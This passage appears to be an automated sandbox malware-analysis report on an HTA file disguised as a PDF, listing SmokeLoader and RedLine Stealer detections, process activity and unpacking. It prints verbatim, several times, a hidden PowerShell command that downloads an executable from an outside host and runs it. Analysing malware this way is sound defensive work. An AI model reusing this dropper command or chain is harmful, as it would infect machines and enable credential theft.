Source: explorer.exe, 00000005.00000000.405739079.0000000003DB1000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.406299609.0000000007902000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.405400637.000000000260E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.piriform.com/ccleanerhttp://www.piriform.com/ccleanerv
Source: explorer.exe, 00000005.00000000.405400637.000000000260E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.piriform.com/ccleanerxe
Source: powershell.exe, 00000001.00000002.395989011.0000000003939000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000001.00000002.395989011.0000000003939000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000001.00000002.395989011.0000000003939000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000001.00000002.395989011.0000000003939000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: explorer.exe, 00000005.00000000.404961446.00000000001D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org
Source: explorer.exe, 00000005.00000000.404961446.00000000001D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org
Source: explorer.exe, 00000005.00000000.404961446.00000000001D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/52.0.1/releasenotes

Key, Mouse, Clipboard, Microphone and Screen Capturing

Yara detected SmokeLoader

Source: Yara match	File source: 00000004.00000002.406593052.0000000000251000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.406582889.0000000000230000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.475270997.0000000000230000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.476491461.0000000000251000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY

Source: C:\Windows\SysWOW64\mshta.exe

Window created: window name: CLIPBRDWNDCLASS

Jump to behavior

System Summary

Malicious sample detected (through community Yara rule)

Source: 00000004.00000002.406593052.0000000000251000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000004.00000002.406664461.0000000000669000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000008.00000002.472086421.0000000000220000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000004.00000002.406577078.0000000000220000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000004.00000002.406582889.0000000000230000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000008.00000002.476562400.0000000000999000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000008.00000002.475270997.0000000000230000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000008.00000002.476491461.0000000000251000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown

Powershell drops PE file

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\EkXH.exe

Jump to dropped file

Source: C:\Windows\SysWOW64\mshta.exe	Memory allocated: 770B0000 page execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EkXH.exe	Memory allocated: 770B0000 page execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vgjfftu	Memory allocated: 770B0000 page execute and read and write	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\EkXH.exe	Code function: 4_2_00401529 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	4_2_00401529
Source: C:\Users\user\AppData\Local\Temp\EkXH.exe	Code function: 4_2_00402FFA RtlCreateUserThread,NtTerminateProcess,	4_2_00402FFA
Source: C:\Users\user\AppData\Local\Temp\EkXH.exe	Code function: 4_2_00401541 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	4_2_00401541
Source: C:\Users\user\AppData\Local\Temp\EkXH.exe	Code function: 4_2_00401545 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	4_2_00401545
Source: C:\Users\user\AppData\Local\Temp\EkXH.exe	Code function: 4_2_00401553 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	4_2_00401553
Source: C:\Users\user\AppData\Local\Temp\EkXH.exe	Code function: 4_2_00402379 NtQuerySystemInformation,	4_2_00402379
Source: C:\Users\user\AppData\Local\Temp\EkXH.exe	Code function: 4_2_0040237B NtQuerySystemInformation,	4_2_0040237B
Source: C:\Users\user\AppData\Local\Temp\EkXH.exe	Code function: 4_2_0040332A GetModuleHandleA,Sleep,MapViewOfFile,LocalAlloc,OpenProcessToken,NtCreateSection,NtMapViewOfSection,NtAllocateVirtualMemory,NtDuplicateObject,NtQueryInformationProcess,NtQueryKey,RtlCreateUserThread,wcsstr,	4_2_0040332A
Source: C:\Users\user\AppData\Local\Temp\EkXH.exe	Code function: 4_2_00401534 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	4_2_00401534
Source: C:\Users\user\AppData\Local\Temp\EkXH.exe	Code function: 4_2_004014DB NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	4_2_004014DB
Source: C:\Users\user\AppData\Local\Temp\EkXH.exe	Code function: 4_2_004020EA NtQuerySystemInformation,	4_2_004020EA
Source: C:\Users\user\AppData\Local\Temp\EkXH.exe	Code function: 4_2_00402387 NtQuerySystemInformation,	4_2_00402387
Source: C:\Users\user\AppData\Local\Temp\EkXH.exe	Code function: 4_2_00402397 NtQuerySystemInformation,	4_2_00402397
Source: C:\Users\user\AppData\Local\Temp\EkXH.exe	Code function: 4_2_0040239B NtQuerySystemInformation,	4_2_0040239B
Source: C:\Users\user\AppData\Local\Temp\EkXH.exe	Code function: 4_2_0040239E NtQuerySystemInformation,	4_2_0040239E
Source: C:\Users\user\AppData\Roaming\vgjfftu	Code function: 8_2_00401529 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	8_2_00401529
Source: C:\Users\user\AppData\Roaming\vgjfftu	Code function: 8_2_00402FFA RtlCreateUserThread,NtTerminateProcess,	8_2_00402FFA
Source: C:\Users\user\AppData\Roaming\vgjfftu	Code function: 8_2_00401541 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	8_2_00401541
Source: C:\Users\user\AppData\Roaming\vgjfftu	Code function: 8_2_00401545 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	8_2_00401545
Source: C:\Users\user\AppData\Roaming\vgjfftu	Code function: 8_2_00401553 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	8_2_00401553
Source: C:\Users\user\AppData\Roaming\vgjfftu	Code function: 8_2_00402379 NtQuerySystemInformation,	8_2_00402379
Source: C:\Users\user\AppData\Roaming\vgjfftu	Code function: 8_2_0040237B NtQuerySystemInformation,	8_2_0040237B
Source: C:\Users\user\AppData\Roaming\vgjfftu	Code function: 8_2_0040332A GetModuleHandleA,Sleep,MapViewOfFile,LocalAlloc,OpenProcessToken,NtCreateSection,NtMapViewOfSection,NtAllocateVirtualMemory,NtDuplicateObject,NtQueryInformationProcess,NtQueryKey,RtlCreateUserThread,wcsstr,towlower,	8_2_0040332A
Source: C:\Users\user\AppData\Roaming\vgjfftu	Code function: 8_2_00401534 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	8_2_00401534
Source: C:\Users\user\AppData\Roaming\vgjfftu	Code function: 8_2_004014DB NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	8_2_004014DB
Source: C:\Users\user\AppData\Roaming\vgjfftu	Code function: 8_2_004020EA NtQuerySystemInformation,	8_2_004020EA
Source: C:\Users\user\AppData\Roaming\vgjfftu	Code function: 8_2_00402387 NtQuerySystemInformation,	8_2_00402387
Source: C:\Users\user\AppData\Roaming\vgjfftu	Code function: 8_2_00402397 NtQuerySystemInformation,	8_2_00402397
Source: C:\Users\user\AppData\Roaming\vgjfftu	Code function: 8_2_0040239B NtQuerySystemInformation,	8_2_0040239B
Source: C:\Users\user\AppData\Roaming\vgjfftu	Code function: 8_2_0040239E NtQuerySystemInformation,	8_2_0040239E

Source: C:\Users\user\AppData\Local\Temp\EkXH.exe	Code function: 4_2_00418A70		4_2_00418A70
Source: C:\Users\user\AppData\Roaming\vgjfftu	Code function: 8_2_00418A70		8_2_00418A70

Source: C:\Windows\SysWOW64\mshta.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE

Jump to behavior

Source: 00000004.00000002.406593052.0000000000251000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000004.00000002.406664461.0000000000669000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000008.00000002.472086421.0000000000220000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000004.00000002.406577078.0000000000220000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000004.00000002.406582889.0000000000230000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000008.00000002.476562400.0000000000999000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000008.00000002.475270997.0000000000230000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000008.00000002.476491461.0000000000251000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23

Source: EkXH.exe.1.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: vgjfftu.5.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: classification engine

Classification label: mal100.troj.evad.winHTA@8/6@24/1

Source: C:\Users\user\AppData\Local\Temp\EkXH.exe

Code function: 4_2_0066C317 CreateToolhelp32Snapshot,Module32First,

4_2_0066C317

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Mutant created: NULL

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\3whyeuor.ju0.ps1

Jump to behavior

Source: C:\Windows\SysWOW64\mshta.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\SysWOW64\mshta.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\explorer.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\explorer.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\explorer.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\explorer.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\explorer.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\explorer.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\explorer.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\explorer.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\explorer.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: unknown	Process created: C:\Windows\SysWOW64\mshta.exe mshta.exe "C:\Users\user\Desktop\3388.PDF.hta"
Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "$path = $Env:temp + '\EkXH.exe'; $client = New-Object System.Net.WebClient; $client.downloadfile('http://ukr-net-filesrever.pw/download/svc.exe',$path); Start-Process -FilePath $path"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Local\Temp\EkXH.exe "C:\Users\user\AppData\Local\Temp\EkXH.exe"
Source: unknown	Process created: C:\Windows\System32\taskeng.exe taskeng.exe {A18241FA-0367-40E9-BBC3-15CE4DAD052A} S-1-5-21-966771315-3019405637-367336477-1006:user-PC\user:Interactive:[1]
Source: C:\Windows\System32\taskeng.exe	Process created: C:\Users\user\AppData\Roaming\vgjfftu C:\Users\user\AppData\Roaming\vgjfftu
Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "$path = $Env:temp + '\EkXH.exe'; $client = New-Object System.Net.WebClient; $client.downloadfile('http://ukr-net-filesrever.pw/download/svc.exe',$path); Start-Process -FilePath $path"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Local\Temp\EkXH.exe "C:\Users\user\AppData\Local\Temp\EkXH.exe"	Jump to behavior
Source: C:\Windows\System32\taskeng.exe	Process created: C:\Users\user\AppData\Roaming\vgjfftu C:\Users\user\AppData\Roaming\vgjfftu	Jump to behavior

Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: d2d1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: d3d11.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: d3d10warp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: credssp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EkXH.exe	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EkXH.exe	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EkXH.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EkXH.exe	Section loaded: msvcr100.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: mfplat.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\taskeng.exe	Section loaded: ktmw32.dll	Jump to behavior
Source: C:\Windows\System32\taskeng.exe	Section loaded: wevtapi.dll	Jump to behavior
Source: C:\Windows\System32\taskeng.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\taskeng.exe	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Windows\System32\taskeng.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\taskeng.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vgjfftu	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vgjfftu	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vgjfftu	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vgjfftu	Section loaded: msvcr100.dll	Jump to behavior

Source: C:\Windows\SysWOW64\mshta.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{25336920-03F9-11CF-8FD0-00AA00686F13}\InProcServer32

Jump to behavior

Source: C:\Windows\SysWOW64\mshta.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Settings

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: 3388.PDF.hta

Static file information: File size 4178844 > 1048576

Source: C:\Users\user\AppData\Local\Temp\EkXH.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\AppData\Local\Temp\EkXH.exe	Unpacked PE file: 4.2.EkXH.exe.400000.1.unpack .text:ER;.rdata:R;.data:W;.tls:W;.rsrc:R; vs .text:EW;
Source: C:\Users\user\AppData\Roaming\vgjfftu	Unpacked PE file: 8.2.vgjfftu.400000.1.unpack .text:ER;.rdata:R;.data:W;.tls:W;.rsrc:R; vs .text:EW;

Suspicious powershell command line found

Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "$path = $Env:temp + '\EkXH.exe'; $client = New-Object System.Net.WebClient; $client.downloadfile('http://ukr-net-filesrever.pw/download/svc.exe',$path); Start-Process -FilePath $path"
Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "$path = $Env:temp + '\EkXH.exe'; $client = New-Object System.Net.WebClient; $client.downloadfile('http://ukr-net-filesrever.pw/download/svc.exe',$path); Start-Process -FilePath $path"			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\EkXH.exe	Code function: 4_2_0040237B push 000023C2h; retn 0023h	4_2_0040238B
Source: C:\Users\user\AppData\Local\Temp\EkXH.exe	Code function: 4_2_004025DC push ebp; ret	4_2_004025FC
Source: C:\Users\user\AppData\Local\Temp\EkXH.exe	Code function: 4_2_00401284 pushad ; iretd	4_2_00401286
Source: C:\Users\user\AppData\Local\Temp\EkXH.exe	Code function: 4_2_00222643 push ebp; ret	4_2_00222663
Source: C:\Users\user\AppData\Local\Temp\EkXH.exe	Code function: 4_2_002223E2 push 000023C2h; retn 0023h	4_2_002223F2
Source: C:\Users\user\AppData\Local\Temp\EkXH.exe	Code function: 4_2_002212EB pushad ; iretd	4_2_002212ED
Source: C:\Users\user\AppData\Local\Temp\EkXH.exe	Code function: 4_2_0066EB61 push es; retf	4_2_0066EB78
Source: C:\Users\user\AppData\Local\Temp\EkXH.exe	Code function: 4_2_00673874 push esp; ret	4_2_00673875
Source: C:\Users\user\AppData\Local\Temp\EkXH.exe	Code function: 4_2_0066D03C pushad ; iretd	4_2_0066D03E
Source: C:\Users\user\AppData\Local\Temp\EkXH.exe	Code function: 4_2_00670291 push ebx; ret	4_2_00670294
Source: C:\Users\user\AppData\Roaming\vgjfftu	Code function: 8_2_0040237B push 000023C2h; retn 0023h	8_2_0040238B
Source: C:\Users\user\AppData\Roaming\vgjfftu	Code function: 8_2_004025DC push ebp; ret	8_2_004025FC
Source: C:\Users\user\AppData\Roaming\vgjfftu	Code function: 8_2_00401284 pushad ; iretd	8_2_00401286
Source: C:\Users\user\AppData\Roaming\vgjfftu	Code function: 8_2_00222643 push ebp; ret	8_2_00222663
